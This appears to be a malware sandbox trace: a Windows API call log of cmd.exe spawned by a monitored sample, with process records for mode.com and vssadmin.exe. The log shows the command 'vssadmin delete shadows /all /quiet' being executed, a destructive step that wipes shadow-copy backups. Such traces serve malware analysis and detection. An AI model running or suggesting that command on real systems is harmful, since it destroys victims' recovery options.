[0257.841] GetConsoleTitleW (in: lpConsoleTitle=0x1ef520, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.841] GetProcessHeap () returned 0x270000 [0257.841] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x28bb20 [0257.841] GetConsoleTitleW (in: lpConsoleTitle=0x28bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.841] GetProcessHeap () returned 0x270000 [0257.841] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28bb20, Size=0xa2) returned 0x28bb20 [0257.841] GetProcessHeap () returned 0x270000 [0257.841] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28bb20) returned 0xa2 [0257.842] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0257.842] GetProcessHeap () returned 0x270000 [0257.842] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28bb20 | out: hHeap=0x270000) returned 1 [0257.842] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef2d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef298 | out: lpAttributeList=0x1ef2d8, lpSize=0x1ef298) returned 1 [0257.842] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef2d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef288, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef2d8, lpPreviousValue=0x0) returned 1 [0257.842] GetStartupInfoW (in: lpStartupInfo=0x1ef3f0 | out: lpStartupInfo=0x1ef3f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0257.842] GetProcessHeap () returned 0x270000 [0257.842] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284660 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0257.842] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0257.843] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0257.843] GetProcessHeap () returned 0x270000 [0257.843] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284660 | out: hHeap=0x270000) returned 1 [0257.843] GetProcessHeap () returned 0x270000 [0257.843] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x289ac0 [0257.843] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1ef310*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef2c0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1ef2c0*(hProcess=0x50, hThread=0x54, dwProcessId=0x70c, dwThreadId=0x710)) returned 1 [0257.848] CloseHandle (hObject=0x54) returned 1 [0257.848] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0257.848] GetProcessHeap () returned 0x270000 [0257.848] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28f4e0 | out: hHeap=0x270000) returned 1 [0257.848] GetEnvironmentStringsW () returned 0x2889c0* [0257.848] GetProcessHeap () returned 0x270000 [0257.848] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb22) returned 0x28e9b0 [0257.848] FreeEnvironmentStringsW (penv=0x2889c0) returned 1 [0257.848] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1eebc8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1eebc8, ReturnLength=0x0) returned 0x0 [0257.848] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd8000, lpBuffer=0x1eec00, nSize=0x380, lpNumberOfBytesRead=0x1eebc0 | out: lpBuffer=0x1eec00*, lpNumberOfBytesRead=0x1eebc0*=0x380) returned 1 [0257.849] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0259.118] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1ef208 | out: lpExitCode=0x1ef208*=0x2) returned 1 [0259.118] CloseHandle (hObject=0x50) returned 1 [0259.118] _vsnwprintf (in: _Buffer=0x1ef478, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ef218 | out: _Buffer="00000002") returned 8 [0259.118] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0259.118] GetProcessHeap () returned 0x270000 [0259.118] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28e9b0 | out: hHeap=0x270000) returned 1 [0259.118] GetEnvironmentStringsW () returned 0x2889c0* [0259.118] GetProcessHeap () returned 0x270000 [0259.118] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb22) returned 0x28e9b0 [0259.118] FreeEnvironmentStringsW (penv=0x2889c0) returned 1 [0259.118] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0259.118] GetProcessHeap () returned 0x270000 [0259.118] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28e9b0 | out: hHeap=0x270000) returned 1 [0259.118] GetEnvironmentStringsW () returned 0x2889c0* [0259.118] GetProcessHeap () returned 0x270000 [0259.118] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb22) returned 0x28e9b0 [0259.118] FreeEnvironmentStringsW (penv=0x2889c0) returned 1 [0259.118] GetProcessHeap () returned 0x270000 [0259.118] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289ac0 | out: hHeap=0x270000) returned 1 [0259.118] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef2d8 | out: lpAttributeList=0x1ef2d8) [0259.118] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0259.119] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.119] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0259.119] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.119] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a00e194 | out: lpMode=0x4a00e194) returned 0 [0259.120] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.120] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a00e198 | out: lpMode=0x4a00e198) returned 0 [0259.120] GetConsoleOutputCP () returned 0x4e3 [0259.120] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a01bfe0 | out: lpCPInfo=0x4a01bfe0) returned 1 [0259.120] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0259.122] GetProcessHeap () returned 0x270000 [0259.122] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289c60 | out: hHeap=0x270000) returned 1 [0259.122] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba00 | out: hHeap=0x270000) returned 1 [0259.123] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285bb0 | out: hHeap=0x270000) returned 1 [0259.123] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9a0 | out: hHeap=0x270000) returned 1 [0259.123] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289a50 | out: hHeap=0x270000) returned 1 [0259.123] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aae0 | out: hHeap=0x270000) returned 1 [0259.123] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x290090 | out: hHeap=0x270000) returned 1 [0259.123] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284630 | out: hHeap=0x270000) returned 1 [0259.123] GetProcessHeap () returned 0x270000 [0259.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289840 | out: hHeap=0x270000) returned 1 [0259.123] _vsnwprintf (in: _Buffer=0x4a026340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ef738 | out: _Buffer="\r\n") returned 2 [0259.123] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.123] GetFileType (hFile=0xf4) returned 0x3 [0259.123] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.123] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0259.123] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ef708, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1ef708*=0x2, lpOverlapped=0x0) returned 1 [0259.123] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0259.123] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a01c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.123] _vsnwprintf (in: _Buffer=0x4a00eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ef748 | out: _Buffer="C:\\Windows\\system32") returned 19 [0259.123] _vsnwprintf (in: _Buffer=0x4a00eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1ef748 | out: _Buffer=">") returned 1 [0259.123] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.123] GetFileType (hFile=0xf4) returned 0x3 [0259.123] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.123] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0259.123] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1ef738, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1ef738*=0x14, lpOverlapped=0x0) returned 1 [0259.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.123] GetFileType (hFile=0xe8) returned 0x3 [0259.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0259.124] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0259.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0259.124] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0259.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0259.124] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0259.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0259.124] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0259.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0259.124] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0259.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.124] GetFileType (hFile=0xe8) returned 0x3 [0259.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0259.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.124] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.124] GetFileType (hFile=0xf4) returned 0x3 [0259.124] _get_osfhandle (_FileHandle=1) returned 0xf4 [0259.124] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0259.124] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x1efa18, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1efa18*=0x5, lpOverlapped=0x0) returned 1 [0259.124] GetProcessHeap () returned 0x270000 [0259.124] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x292010 [0259.124] GetProcessHeap () returned 0x270000 [0259.124] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x292010 | out: hHeap=0x270000) returned 1 [0259.125] GetProcessHeap () returned 0x270000 [0259.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x289840 [0259.125] GetProcessHeap () returned 0x270000 [0259.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x284630 [0259.125] GetConsoleOutputCP () returned 0x4e3 [0259.125] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a01bfe0 | out: lpCPInfo=0x4a01bfe0) returned 1 [0259.125] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0259.125] GetConsoleTitleW (in: lpConsoleTitle=0x1ef9d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0259.125] GetProcessHeap () returned 0x270000 [0259.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x14) returned 0x288940 [0259.125] GetProcessHeap () returned 0x270000 [0259.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x284660 [0259.125] GetProcessHeap () returned 0x270000 [0259.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x28b9a0 [0259.125] GetConsoleTitleW (in: lpConsoleTitle=0x28b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0259.125] GetProcessHeap () returned 0x270000 [0259.125] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28b9a0, Size=0x62) returned 0x28b9a0 [0259.126] GetProcessHeap () returned 0x270000 [0259.126] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b9a0) returned 0x62 [0259.126] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0259.126] GetProcessHeap () returned 0x270000 [0259.126] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9a0 | out: hHeap=0x270000) returned 1 [0259.126] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0259.127] exit (_Code=2) Process: id = "13" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x36cb000" os_pid = "0x6d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x660" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8e9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 91 os_tid = 0x6d4 Process: id = "14" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x7b4ef000" os_pid = "0x70c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x660" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8e9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 103 os_tid = 0x710 Thread: id = 106 os_tid = 0x720 Thread: id = 107 os_tid = 0x724 Thread: id = 108 os_tid = 0x728 Thread: id = 109 os_tid = 0x72c